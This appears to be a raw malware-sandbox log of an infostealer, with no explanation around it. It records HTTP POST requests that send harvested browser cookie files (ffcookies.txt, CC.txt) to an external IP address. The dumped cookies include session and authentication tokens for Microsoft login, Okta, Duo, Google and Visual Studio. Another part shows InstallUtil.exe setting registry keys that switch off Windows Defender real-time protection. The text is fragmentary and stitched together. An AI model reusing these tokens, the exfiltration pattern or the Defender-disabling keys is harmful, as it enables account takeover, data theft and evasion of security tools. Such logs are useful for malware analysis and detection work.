ntp.msn.comTRUE/FALSE13364052171435219sptmarketdjEwYKs9GrOFmENfMelbiW96cH7ISe2RBkJeP4bt0Ev/8COPXddlSKUgHZccuLg8aLI0y3o= .c.bing.comTRUE/TRUE13304441723880397MRdjEw8Kf0xqQYvQp3Z759qhgBFHv3OUcoxx1NVfe/3pU= .c.msn.comTRUE/TRUE13304441723981801MRdjEwexlKfZypb4FlwAoxwrbaUEzOF2NyNMiE697apQ0= .bing.comTRUE/TRUE13337532923880236MUIDdjEwZAjbj8AZ2Yb+hYvneyu6k6bpqTcLxkoEEutDes9izCcpTcxJw9eZK8D7rcJOaMyFjaegIwS6RGJGJlIX .msn.comTRUE/TRUE13337532923981677MUIDdjEw1dOCh1WaEL4KUFMQAFHOpgpEY7jPv6cP95Bn9Rwuw6YGcw5jBwY+M4vxmrdIDBHBC+vAKDRB6q8I9Pre .c.bing.comTRUE/TRUE13337532923880472SRM_BdjEwgpfIFduerEbXjPIN4APD8LaWmc8KpnjWDUM9+h4EjZpzveMXKrAjdg0MCyXGk4YNWgbpZkU9XAtOY6ue .c.bing.comTRUE/TRUE13337532923880540SRM_MdjEwl/KEkmwwJQgCGfKXiZUML2X96UemeJC1z4p0bKFKDE7jpLmavVFEmipXOItQFyS6rUM5L/5pjFRANBh5 .c.msn.comTRUE/TRUE13337532923981744SRM_MdjEwHNFtvr1AT6GcoH1fwE1h5dxQslPLN1NeO07wCXk1wFpNECHsmJt4ItiX4abupCpXaHPQVAqJpwZQfQsM .bing.comTRUE/TRUE13366995328784926USRLOCdjEw9/Ve3+dM7cxlTxQf1s3yBGv8Bi0Dd/VDoQBa1lH6Evc= ntp.msn.comTRUE/FALSE13303923325000000msaoptoutdjEw00nWw9ob6rYhMb7k5/dKz1MNh+SGkdE6WA6mCK4= .c.msn.comTRUE/TRUE13303861791568729ANONCHKdjEwO4boexYlL7fq1Re6iTAFsOyCIce2XVTlcjJnBMI= ntp.msn.comTRUE/TRUE13335397189865684MicrosoftApplicationsTelemetryDeviceIddjEww0Srh7OiMZsdl0yZeVO9Y0BrlDwiyZzoIscB55UmXFsCjtkRG7/W7jwSxCrFbX+7Y1EDoTIkIOJX0cwg67qS3A== .scorecardresearch.comTRUE/TRUE13366069189950011UIDdjEwgrLB1TC5nu3M14zxq+fHd5qaU/Nzw9s4H5D8o5ZXjjMS6z1sFY4GIIlPvK7AbDyMjWy1CKmGKMc1NZeTxA== ntp.msn.comTRUE/TRUE13303862990000000ai_sessiondjEwjx4a/1ItOH1oNWbU0pJUDnGe9WCw9NPg4Mdg2K2HoTgbX3QTeTo6xaBaEj/MOjzUMgv9bhloNHIvkaF4OyyBfv4rTHHtm3I9sr0QHnBD .msn.comTRUE/edgeFALSE13319585989000000pglt-edgeChromium-dhpdjEwMWUkFCytu+EQts8JUD640ec8Yk9xnVi6aogTT0zAOeY= .pippio.comTRUE/TRUE13309045196280648pxrcdjEwr4lblU0Yglnys4zwOD/9d5p7w0hQO1FyRozgzKsMs2dOcvmJiiQIne/Uev1JByDnGGfnGihIquc= C:\Users\iU35TUU\AppData\Local\Microsoft\Edge\User Data\Default|tB9T/XyR7rQWd8i0MVB6px2KjfP0LeViW311oWMiuEI=|103.0.1264.37-64 --ra3E69oTW5vs7ym2 Content-Disposition: form-data; name="file"; filename="\CC.txt" Content-Type: application/x-object C:\Users\iU35TUU\AppData\Local\Microsoft\Edge\User Data\Default|tB9T/XyR7rQWd8i0MVB6px2KjfP0LeViW311oWMiuEI=|103.0.1264.37-64 --ra3E69oTW5vs7ym2--" "POST /c95748ed5de11ba1f775b5be83c77323 HTTP/1.1 Accept: */* Content-Type: multipart/form-data; boundary=L4Qm2L14t7NE7Ciw User-Agent: 23591 Host: 45.15.156.105 Content-Length: 11805 Connection: Keep-Alive Cache-Control: no-cache" with payload:==> "--L4Qm2L14t7NE7Ciw Content-Disposition: form-data; name="file"; filename="\ffcookies.txt" Content-Type: application/x-object .mozilla.orgTRUE/FALSE1520275059_gat_UA-36116321-11 .mozilla.orgTRUE/FALSE1583347002_gaGA1.2.12219564.1520275000 .mozilla.orgTRUE/FALSE1520361402_gidGA1.2.411848676.1520275000 .mozilla.orgTRUE/FALSE1520275099_galiskip-button .google.comTRUE/FALSE1534048070OGPC19005936-1: .google.comTRUE/complete/searchFALSE1547608854CGICCgxmaXJlZm94LWItYWIiP3RleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LCovKjtxPTAuOA .google.comTRUE/searchFALSE1547608854CGICCgxmaXJlZm94LWItYWIiP3RleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LCovKjtxPTAuOA .google.comTRUE/verifyTRUE1547382379SNIDAGRGHO6QHrVrOxLFGr7rk0whYmanv-Yt0NiPe4u_HLWSmwvfuRb9rKBMkf6HQNvTewpJ2Op8iY-pGQ773aac visualstudio.microsoft.comTRUE/FALSE1534422385_icl_visitor_lang_jsen visualstudio.microsoft.comTRUE/FALSE1534422389VSCOMGeofalse .microsoft.comTRUE/FALSE1563366389MC1GUID=17be3a93de2d4ee9b6183870ef7a31de&HASH=17be&LV=201807&V=4&LU=1531830389646 .microsoft.comTRUE/FALSE1531832189MS095c7cc889f304134945b37edd6a8a421 visualstudio.microsoft.comTRUE/FALSE1563366389MSFPCGUID=17be3a93de2d4ee9b6183870ef7a31de&HASH=17be&LV=201807&V=4&LU=1531830389646 crowdstrike.okta.comTRUE/TRUE1594902411DTDI0CAq6_IhTSTqow2RunhKcdw crowdstrike.okta.comTRUE/FALSE1531830724oktaStateToken00tWCcr55PVItt5EgoafFC8V8rYoCmZ7mVPUz0Sfff api-81556a20.duosecurity.comTRUE/TRUE253402300799trc|DUD6DIRR543N9IBROX6Q|DAZP9NPAYTJWJEMDJ86OEPZEC9PWG6PELMQIT1R3 api-81556a20.duosecurity.comTRUE/TRUE253402300799hac|DUD6DIRR543N9IBROX6Q|DAZP9NPAYTJWJEMDJ86O|64.124.12.162|1531830438|a70d281e4438b3d8bfe84f32a61684be948d3b62 crowdstrike.okta.comTRUE/FALSE1531830468ADRUM_BTa"R:50|g:d865668d-daca-410a-92ff-c44770628b5a|n:Okta_6d5b1e30-d05a-4894-a37b-81b5f6c60e0e" crowdstrike.okta.comTRUE/FALSE1531830468ADRUM_BT1"R:50|i:11276|e:63" crowdstrike.okta.comTRUE/TRUE1563366439proximity_0371cacd3c86c11110ce4a7c15c77e19AMZGnO6o/2MBiNoUnYqDF4QuXiAX2tjRZ3EZEWkyQNBJpqvois7unYHbEn9CQk1aRt/dDJ62exueVegL+oeH32etEMYRBZ4mZ5mnucIAjGB7oQDm7xzGBvsn4EOVfUmfP2WoF3BIFXcM/eUVl+BIXrSqz8k2jgHuV2LneZmwtRT4FDljwMnA/ykCkZUy/au0 .login.microsoftonline.comTRUE/TRUE1539606443ESTSAUTHPERSISTENTAQABAAIAAADXzZ3ifr-GRbDT45zNSEFEqN3lcIcVk_txN002M0aSKQ3vHW-KKOvT0l2FZ5krXRiGe96TPP0Tcdc6aThD24EQH8XwfNYwKzYh6BSJahL-oq-FqtQOVLX6IP0IHlIhxw-Ihyfe0FqrqvTD43U2Y61kdV9Rw3nKJ-o84ELeq6SnuvDQVWEa0gLrhMj6Ik1XYwnl7l6WaT97koJKqKiVkJ1iuYOGM14-4P5Z0RrE80sH9UpU7lILLtXYP0YzVKWnoa-Uwe0dHjL9vSG_PkueznTUAxucsJQk2oUrzIlA1yJUM3SeE_SorL1eWJCWTxwzllEh9ehA55c3PSRxk6_tWpa_Hl9sKQE0AZGVFdH8TNX5OBttLH77N-umvMYVf2FDyTSviNUBGpfuL_nFmLZBw9B8Qwkp7iLFzpMZ_uJIYFzR6AgqEWS-_empWfontUAITrgfrGEpEMBVFXl9OtIHHwXlpol4NUzw6qDIhTaTr_xSOrzPhBOGBZarDixDjEMzYL77D8X2dlwK7zPHgdu0TwDgJ7V_VMbnhivHTN50xlFCMutxdLodQe0yneDFsxtWkDZi-Rl39EBMbfH9HvKOxlkjE5GFIPxcCFvOSHqdohyPLKcqLzR2pHQU3etiM10t3NkgAA login.microsoftonline.comTRUE/TRUE1534422443buidAQABAAEAAADXzZ3ifr-GRbDT45zNSEFERgmHaE21nvvOTVY2_75NkZGI-YsBWBOulFAsZCsrrazoD5DQYQgBT_JZuf__eWQggSLq9PdegrrzFZkXIh3A2gMy_FuhlXOW57d9R1-d9Uuti08zZmHg5eKAHcXs5BhZVzGDuYQQwVXl-TJShRyYQXZ3-1bRaTsFO7WjwrAFzCEgAA .login.microsoftonline.comTRUE/TRUE1534422143CCStateQ3VjRENrUnRZWEpqTG5KcGRtVnliMEJqY205M1pITjBjbWxyWlM1amIyMThZWEJ3T2pRNU9XSTROR0ZqTFRFek1qRXROREkzWmkxaFlURTNMVEkyTjJOaE5qazNOVGM1T0JLVEF6Q0NBWThHQ1NxR1NJYjNEUUVIQTZDQ0FZQXdnZ0Y4QWdFQU1ZSUJTRENDQVVRQ0FRQXdMREFWTVJNd0VRWURWUVFERXdwTlUwbFVJRU5CSUZveUFoTldBRkFQYkxqbkNEUUZXZllJQUFBQVVBOXNNQTBHQ1NxR1NJYjNEUUVCQVFVQUJJSUJBR08rUElFbUptYm5JUllvRjRXRXNxZ2l4VXFFTmJNd0V4TnpFQW1FbHRZa2dYRnZNOXV1MnBCTmVmV0ZxWEhTTHlUSklUaE1UcUhrUW9OemYwUndpN2pLVTZFUXd4V0UweitoQmxoc29DNlExRFI5NjFDR2pydnZCMkgvOTBYbEJYY2l5YTdtVTQvd0xPcDJ6M0R0UFR0N0k5TDU3bGNyM29lL2RGL1E5dElFM21QSks3NmlpK2I1M25wTXYrNEE0WXRNTVdwUUdjVGZMYkd6R3plamV0MVJKZUNkaTVIUk5tRzB5b3ArOUMwTExhSCttNmI2UGlCMG5GdmcrMWk4bFV3dnhFZW84dnhxU25xLzYzd1hyTUlHMzM4cVNWeTh2Mm92MmtPSjRvVW5rOG9QU1YyWTZmQldEcDZ5VHFRanU0Sy9WRFU3VVNvbkt1MzRiMU93WWswd0t3WUpLb1pJaHZjTkFRY0JNQlFHQ0NxR1NJYjNEUU1IQkFnQ0JldldwU3c2UVlBSUxlbmY0ZTlqZ1dnYUNRbHp5UVh6Myt2VlNCSVNDaEQ3SmY1Y1cxSmxTcWp4a1dTUitBWnZHZ2tKdDJ2WXBlRHIxVWc9 app.vsaex.visualstudio.comTRUE/TRUE1532435243FedAuth77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U2VjdXJpdHlDb250ZXh0VG9rZW4gcDE6SWQ9Il8xMzY5OGEwMS1iMDllLTRjZDYtYTRhNi03MjEyYWRhZTFkYTItQTY0NzUxQjY3RDU2NzgzODc5NDBFMkM1RkM1NzA0RjMiIHhtbG5zOnAxPSJodHRwOi8vZG9jcy5vYXNpcy1vcGVuLm9yZy93c3MvMjAwNC8wMS9vYXNpcy0yMDA0MDEtd3NzLXdzc2VjdXJpdHktdXRpbGl0eS0xLjAueHNkIiB4bWxucz0iaHR0cDovL2RvY3Mub2FzaXMtb3Blbi5vcmcvd3Mtc3gvd3Mtc2VjdXJlY29udmVyc2F0aW9uLzIwMDUxMiI+PElkZW50aWZpZXI+dXJuOnV1aWQ6OTU5YWUwYzUtMGM0Ny00ZjkzLWExNTYtNjM1Njc1ZTIxN2I4PC9JZGVudGlmaWVyPjxDb29raWUgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd3MvMjAwNi8wNS9zZWN1cml0eSI+MFlkQ1daWk9tSTRBQVFBQWVLNUJsOHJtSHI0c1dDcitMbjBzM3ZOSEkyd0hPcnhiUzJsT1VlL2VLYkZuUGdiZGUxQmJqcGdDcjFEMXhEOXBZRm8rKzVUNUF1MXBnc21VWEtiWDlvSmNNeTBTRURzcmk5WkhDWFZieUUrSTIzencyK2JZaS9JRklrTUtmQXlXTk5YMmhUSDM0OUZaS3M2M09DR0hLVGJVT3lzSTBodk90REF3Znk3NG9aMUx0U0VVVkloMmNqc25adVEwcUNHeEZIenhYR2thMjRIK1FWeitnb1ZHd3RjeFEydkh5cGdVYVZQYVN1U2hLWmEvd1lQME9uendhT3lVa0F6ZWJPR2RUSm41Zzl3WjI4bWapp.vsaex.visualstudio.comTRUE/TRUE1532435243FedAuth1MzBwcUQ4d3BNZHZ4cDhCd0ZacFdrWlNrYUM3VFFEbWkreHptSm9VN1dmazgya3FQajVjVzZvd29jenFiVnc4cVhua213eDJJZ2RjWXFnNkNCZXByU0x6emJ4cEY3RWM5Zmg1NUxjb2wxNzlCTmFsS1hCcElXZ0hyRS8vQk83Q1gwMHVCVTB5aldndzYvVUNPNlNVYlN3TGUzTVdISWZUSzhBZ2JVSS9MMXhlUHErMmh6aTJUYWZrZkxVMkd6dlFyT0F3SlAzSlk5TzBNQ1Q0RHhPOEw4NVBBS1BzMG8rSWtTM2JyTlhJRmFsSVI0WnkzWHkxRGMrNU9heVB0MzJHc1ZsenorZE5hRjNaQzBCcmI5Z2lKcktlQitOclU3aFhtbWVaczQ2VzZXREhWMkVBT1RNUnpKOWUrcGEzRmxMQmxGK3Z4ZTRPbCtlWDltSVlCVG8wczA4NXJkTDhjK2JJMUJQU0JWTGp1aE5BY2VEamZEQnVKN2JVS3hINmNQWHJsVFZVVndKM2NXUVhHVHBJaTJjb3pPTk9Ud3l5K0lvM2o4ZXRYRjZNZDhRRFdJMGVqK2c0R3QrVlJOWHFGR0tHSS9iKzNtdDRjcnhhMXdhYUt1cDVpYUN1RG9qZmFNdEFyeC8rQi85WFVsaEJSek1TRDZMRTJkSUhQbitmL3NOUUticHBrWnpHaEdlM1dKL2kyU2JudVcvTDFTbHExdy9SQWRjV0VmWW5leWNnYzlERlF3SmVnT1gzbjJPcm42OUFxM3NselhTY3RaazVobWowNGttSUh5YU1rbUd3OWJsQUdVY2NKYjdtUUF6NkowYlNRNlZOV2RjSGpCTDduZW80OU40c3NPa3VWNDBpTE0yQUxHMy9ZK0dFMVhmejBhNDN6YlFVdTM0L1o4cmxzbkI2YXZEc3hRVVdpd3NIMmdoWDd0MCtpNU5LckwyMVlEbVl5TFhNV.google.comTRUE/FALSE1547382453NID134=DJVDrFMJ_7WTMaThq4BwXW48xuuFIjrxm6k6mZ_-IesJ-g-kLcQY3mKLWPvC920yPSSa9r-hjI1JU5myF94eyuiNLyOIiQ47NoAWAf2r4JCnxGybgSxyJy1gh2I-6ic3JfcTIYjB9Bc www.google.comTRUE/FALSE1531831057DVgw7SsgaDfBIQ0N8QXx_eM9eFGkqDShY .microsoft.comTRUE/FALSE1531830496_galic-shellmenu_85 .visualstudio.comTRUE/TRUE1532435266SpsAuthenticatedUserDisplayName=Marc%20Rivero&aad=False .visualstudio.comTRUE/TRUE1689510466VstsSession%7B%22PersistentSessionId%22%3A%22d4708cf3-5d30-49b9-a6ff-e56cc387292d%22%2C%22PendingAuthenticationSessionId%22%3A%2200000000-0000-0000-0000-000000000000%22%2C%22CurrentAuthenticationSessionId%22%3A%22a452f370-9678-4bfb-bfa8-2d1cd43699e3%22%7D app.vssps.visualstudio.comTRUE/TRUE1532435243FedAuth77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U2VjdXJpdHlDb250ZXh0VG9rZW4gcDE6SWQ9Il8yMmNjZWU4ZC1hMzdmLTQwYmQtYTZmZS1mOWRhODEzNjQ1ODEtNEI5N0I0REMyNDU0NEMwMEJCNjA0NjM3OEI2QTk4OEUiIHhtbG5zOnAxPSJodHRwOi8vZG9jcy5vYXNpcy1vcGVuLm9yZy93c3MvMjAwNC8wMS9vYXNpcy0yMDA0MDEtd3NzLXdzc2VjdXJpdHktdXRpbGl0eS0xLjAueHNkIiB4bWxucz0iaHR0cDovL2RvY3Mub2FzaXMtb3Blbi5vcmcvd3Mtc3gvd3Mtc2VjdXJlY29udmVyc2F0aW9uLzIwMDUxMiI+PElkZW50aWZpZXI+dXJuOnV1aWQ6MTIzOGQ2M2YtNDA3Zi00MzA2LTgxY2MtZGMyMDgwNDFmMjE1PC9JZGVudGlmaWVyPjxDb29raWUgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd3MvMjAwNi8wNS9zZWN1cml0eSI+MFlkQ1daWk9tSTRBQVFBQWJwWFNSbnlLQVo0VHpWbXdOTDB6WVVrQTBTRDBaUTJqa24xMW8xTUp4SXhSUkcvUGhMWEZVU0FSdDBVcHNsSC9MRStmMWJRUXo1RFI1Ny9rdWFCSVYvall2MWp4TkRLQ2YrSThwZm5qanMvd3Bna0ROWGhMakZqczB3OHpGcXhDZ2VpeHhHaW9CN1NIYjFWWm9JV3krY0FCUThoNUIvZWxDUTFYUFd4NnRLT3lxY0tjYWdMb3BRQ3NjbVQwZ1oxUzE3T0FTYmxxc0VZRWlra0hsOUtZTmt2QmVUQ1VDQjB6cmFtakNFWG1WdVZteWx1eWRtM2hZZWFob0U4WW10ZmtYVkRDbXdMRHpPbDapp.vssps.visualstudio.comTRUE/TRUE1532435243FedAuth1a2s4Qzh4SFI0YUZHbzFiVkFVWDJHdUJuMUZpNXBIUEN1R0NDZ0t6amZqVys4QlA4YitKQ1c0VmVjeWdTdlVrSUVqc3JiWm1ld0ptYnVaQ21PaENaSEN2U2NUS0FIWDJ0UXQrU3loQVV2eGVreWhrY0xIeTVpOHRWUnJRM0RCNmpUdE56YjlpNjV1bzBUc0lOZ1FpWFdZNUZEcDk5dVdQM1J2TGR1UEg4WXd4Y2tnZUJCNDh5ZnAvcTNyOVNENms5YTFadXRtYi84Vy9nZHpyMWsvL0pNWEpzb0h2cDNJRGxVK0JOOVdhT3dCamdURTJ4T3RZV3RvOWJUMVJxN3hUb1RwVFlkQ1V0QmtvYk9RMmpCTmZpQ3dOYmsvaDlCZUFHT2xxVmE3MGNwajRPbEJtMUg3dzVXWk80czVkVlhvTHdQMVV2bWdDQmpJOWtFbTNLbXlDWlBoWkozQmthTzBPYjl5cHFvcnEvNVZsVWU0cm1keGRTM2xZRFRheFhmSUwxR1hFTVhVRndBYzhvZHJNYjlrME9LR1dIK0xIZmVYQVo2RFFLcWMxcllFd0tpaExLRFRMR2M1Z0tNQStpMmF5MmVnNldvbExCSVJ5WjgwZTBOb2NralFQOHlkTVJXUlcrU2V3eVlJbitaM2UxSG1JTTdmWDh0cTFZWm0ybCt3QzUwMEpWVnVqOUJTL1FSZ0lSQjd2b0MvZEwrYlNHMm1VcHFwd081RmtTNktvQkxPdDZHOG1yaStPUHkrR1IwVk1qUVVzUERGT2JBdlVLcTFjejBENHQ1YmRFcllsZHRtRU43azl2YzRrckdvR2lDbTViSWJlTnQ2NlJBODdtYXgzMStCNmtBd3ZUdkFlcWhra0N1Sm43bStleWR1QVJSbmV6d3kwYnJEVU9KNFF2TkJjeWFFSWdHRU9zWU91dTYzYUdybUxLTStqV0NlNnQrTkxrbUtJWmy.visualstudio.comTRUE/TRUE1532435243FedAuth77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U2VjdXJpdHlDb250ZXh0VG9rZW4gcDE6SWQ9Il81M2VjYWU5MC03NTk2LTQzZDctYWYyZC1iNGI0MjhmZDhiZjgtMEFBN0QzQjE1Q0U1MEY1NEYxMENGNTg0NUI0MjE4ODciIHhtbG5zOnAxPSJodHRwOi8vZG9jcy5vYXNpcy1vcGVuLm9yZy93c3MvMjAwNC8wMS9vYXNpcy0yMDA0MDEtd3NzLXdzc2VjdXJpdHktdXRpbGl0eS0xLjAueHNkIiB4bWxucz0iaHR0cDovL2RvY3Mub2FzaXMtb3Blbi5vcmcvd3Mtc3gvd3Mtc2VjdXJlY29udmVyc2F0aW9uLzIwMDUxMiI+PElkZW50aWZpZXI+dXJuOnV1aWQ6OTZiNjIyODYtNzA5Ni00MjBmLWE4NzAtYmU2YTY0Y2IxN2M3PC9JZGVudGlmaWVyPjxDb29raWUgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd3MvMjAwNi8wNS9zZWN1cml0eSI+MFlkQ1daWk9tSTRBQVFBQU80a2t3Tkc1cXA5TzMyTFhsSlVVU2sxa3hsbGFaL0NZYy9ZR0hGRWRCY25jQzRabkdqWWVSMlExYTB4QXlTV3grYTArMUNaODdiYVB2NUx4aTQybVJ5MGR0b05ubUlFdU0xRmZ2YW9tcWxBWGNudzVFL1B4ZkVhVkJibTJxaS9zTzVHemMzZ1Flbi9JaG9IS213MEgyZXFBTnNISzU0U1p3MGJWb3lHVmJabG5DckFrSXh2Q0ZCOFg1WmZmalFiSXJUaWh2MXNmK29tcE4zYjc3Q0Rwc3lqWUpyQW1TMWdEQnJnOXVvZ0QwTDhiVStSVTJNTVV0MURZMGx5N2tTckFrNmtHTE1LMEF5VytCaUFJamy.visualstudio.comTRUE/TRUE1532435243FedAuth1d01NazVCRm1HU0NFTjZ5bFNFbEZqaFk4cXAvdWtaRGFtWUtLNTJHRHRRWnVnYWJPWkg0RHYrYUNVQitDb1dOelNaWDV0UnBJb0JJb3RybVBHcWtEdnZhN00xY01kZTd5Tml5cmdsajNjbVhQZ3lxWERxV0FsQzJHbG5YV0dyUHRETE0wRllKY21GV3FQaVVOcGt6VU1sOFdMRkQ5QXZGNEFrZ3RYNmlsVFIzRWdob3Ryd1VMZ3cxUEJMODk5YU5sNWM1YkVXTzNyTTUzSmpNSGN4bGpsOEdTYlgwaExoU1U4aUwzTkIyQjQyNjk3VzZSRnNGYUwxeHhJemNwLzgxYUxHd0YrY2tHc0pzWTdtN2N6Yy92QWppVUZpSnhIYldNbm5taUJYQ3F0RVNSY2ZrUGx4NVh1TkFUK1NkbTcyYXdQS2dhbVNGRUhvY0pCZ21ENWlsTXJsQUh0dVVvL25qSlhvQ1pHUnVMVnd1QjVHMFozTEREbnVTeUFwR0pTYllZd1llUUs0U2p0YmxEMGpVV3FManorN2pkTkthU2lCSEo4MURDTnhwK2xiRDM2b1ZEdklNWG1SOEFlVDVrbk1xajZaMnRwSnQ3MXVpd3ZWR1lnWm0vR1VuY3NoQUNnVEx2SmpPWXFRM0dFeThXRXlIQUszTzI4SDBjVVhBbm5MVXduNU51T002M25LK3UxRGp1YUxyYlZmM0ZsbHdNRXRRaUR1UHcvZjZwbHZYQnlOQlVYKzFua3RWckZpNjBzNWxiK0RjbmVVRUIxZ1ZtTVNwZXgvcWlWN1FVZUVIZGduOTNHSVdKOW8rd3NkOEc3R00xbFNUTUgrUWIvT1dMeHZRSzVwT0lhaFgwaVVZRGxBaWtPQlJzRko4UWpuVC8xSTdBV0RnbGNTMUJycFJ5YkNSMDlTMmZMdHNiTncza3V6RHBJeXE0SGoyZUYzaXVtc09GNGlSQjJsK3pnvlscppe.microsoft.comTRUE/TRUE1687350467thx_guid459f7c585ccc4e1bae96039138b93fde .microsoft.comTRUE/TRUE1594988868MUID12a11495-8216-468c-b4ef-91a01564edd7 .google.comTRUE/FALSE1534422677OGP-5061451: .google.comTRUE/FALSE15344226801P_JAR2018-07-17-12 .microsoft.comTRUE/FALSE1594902682optimizelyEndUserIdoeu1531830459748r0.9733928579012604 .microsoft.comTRUE/FALSE1594902687_gaGA1.2.746119596.1531830390 .microsoft.comTRUE/FALSE1531917087_gidGA1.2.1680687488.1531830390 .microsoft.comTRUE/FALSE1531830747_gat1 C:\Users\iU35TUU\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default| --L4Qm2L14t7NE7Ciw--"55:T51a,"InstallUtil.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\GROUP POLICY OBJECTS\{2150E3C3-E12E-427C-8808-F1CC21F23BBD}MACHINE\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\REAL-TIME PROTECTION"; Key: "DISABLEBEHAVIORMONITORING"; Value: "01000000") "InstallUtil.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\GROUP POLICY OBJECTS\{2150E3C3-E12E-427C-8808-F1CC21F23BBD}MACHINE\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\REAL-TIME PROTECTION"; Key: "DISABLEONACCESSPROTECTION"; Value: "01000000") "InstallUtil.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\GROUP POLICY OBJECTS\{2150E3C3-E12E-427C-8808-F1CC21F23BBD}MACHINE\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\REAL-TIME PROTECTION"; Key: "DISABLESCANONREALTIMEENABLE"; Value: "01000000") "InstallUtil.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\GROUP POLICY OBJECTS\{2150E3C3-E12E-427C-8808-F1CC21F23BBD}MACHINE\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\REAL-TIME PROTECTION"; Key: "DISABLEREALTIMEMONITORING"; Value: "01000000") "InstallUtil.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\GROUP POLICY OBJECTS\{2150E3C3-E12E-427C-8808-F1CC21F23BBD}MACHINE\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\REAL-TIME PROTECTION"; Key: "DISABLEIOAVPROTECTION"; Value: "01000000")56:T2e14,"POST /c95748ed5de11ba1f775b5be83c77323 HTTP/1.1 Accept: */* Content-Type: multipart/form-data; boundary=L4Qm2L14t7NE7Ciw User-Agent: 23591 Host: 45.15.156.105 Content-Length: 11805 Connection: Keep-Alive Cache-Control: no-cache" with payload:==> "--L4Qm2L14t7NE7Ciw Content-Disposition: form-data; name="file"; filename="\ffcookies.txt" Content-Type: application/x-object .mozilla.orgTRUE/FALSE1520275059_gat_UA-36116321-11 .mozilla.orgTRUE/FALSE1583347002_gaGA1.2.12219564.1520275000 .mozilla.orgTRUE/FALSE1520361402_gidGA1.2.411848676.1520275000 .mozilla.orgTRUE/FALSE1520275099_galiskip-button .google.comTRUE/FALSE1534048070OGPC19005936-1: .google.comTRUE/complete/searchFALSE1547608854CGICCgxmaXJlZm94LWItYWIiP3RleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LCovKjtxPTAuOA .google.comTRUE/searchFALSE1547608854CGICCgxmaXJlZm94LWItYWIiP3RleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LCovKjtxPTAuOA .google.comTRUE/verifyTRUE1547382379SNIDAGRGHO6QHrVrOxLFGr7rk0whYmanv-Yt0NiPe4u_HLWSmwvfuRb9rKBMkf6HQNvTewpJ2Op8iY-pGQ773aac visualstudio.microsoft.comTRUE/FALSE1534422385_icl_visitor_lang_jsen visualstudio.microsoft.comTRUE/FALSE1534422389VSCOMGeofalse .microsoft.comTRUE/FALSE1563366389MC1GUID=17be3a93de2d4ee9b6183870ef7a31de&HASH=17be&LV=201807&V=4&LU=1531830389646 .microsoft.comTRUE/FALSE1531832189MS095c7cc889f304134945b37edd6a8a421 visualstudio.microsoft.comTRUE/FALSE1563366389MSFPCGUID=17be3a93de2d4ee9b6183870ef7a31de&HASH=17be&LV=201807&V=4&LU=1531830389646 crowdstrike.okta.comTRUE/TRUE1594902411DTDI0CAq6_IhTSTqow2RunhKcdw crowdstrike.okta.comTRUE/FALSE1531830724oktaStateToken00tWCcr55PVItt5EgoafFC8V8rYoCmZ7mVPUz0Sfff api-81556a20.duosecurity.comTRUE/TRUE253402300799trc|DUD6DIRR543N9IBROX6Q|DAZP9NPAYTJWJEMDJ86OEPZEC9PWG6PELMQIT1R3 api-81556a20.duosecurity.comTRUE/TRUE253402300799hac|DUD6DIRR543N9IBROX6Q|DAZP9NPAYTJWJEMDJ86O|64.124.12.162|1531830438|a70d281e4438b3d8bfe84f32a61684be948d3b62 crowdstrike.okta.comTRUE/FALSE1531830468ADRUM_BTa"R:50|g:d865668d-daca-410a-92ff-c44770628b5a|n:Okta_6d5b1e30-d05a-4894-a37b-81b5f6c60e0e" crowdstrike.okta.comTRUE/FALSE1531830468ADRUM_BT1"R:50|i:11276|e:63" crowdstrike.okta.comTRUE/TRUE1563366439proximity_0371cacd3c86c11110ce4a7c15c77e19AMZGnO6o/2MBiNoUnYqDF4QuXiAX2tjRZ3EZEWkyQNBJpqvois7unYHbEn9CQk1aRt/dDJ62exueVegL+oeH32etEMYRBZ4mZ5mnucIAjGB7oQDm7xzGBvsn4EOVfUmfP2WoF3BIFXcM/eUVl+BIXrSqz8k2jgHuV2LneZmwtRT4FDljwMnA/ykCkZUy/au0 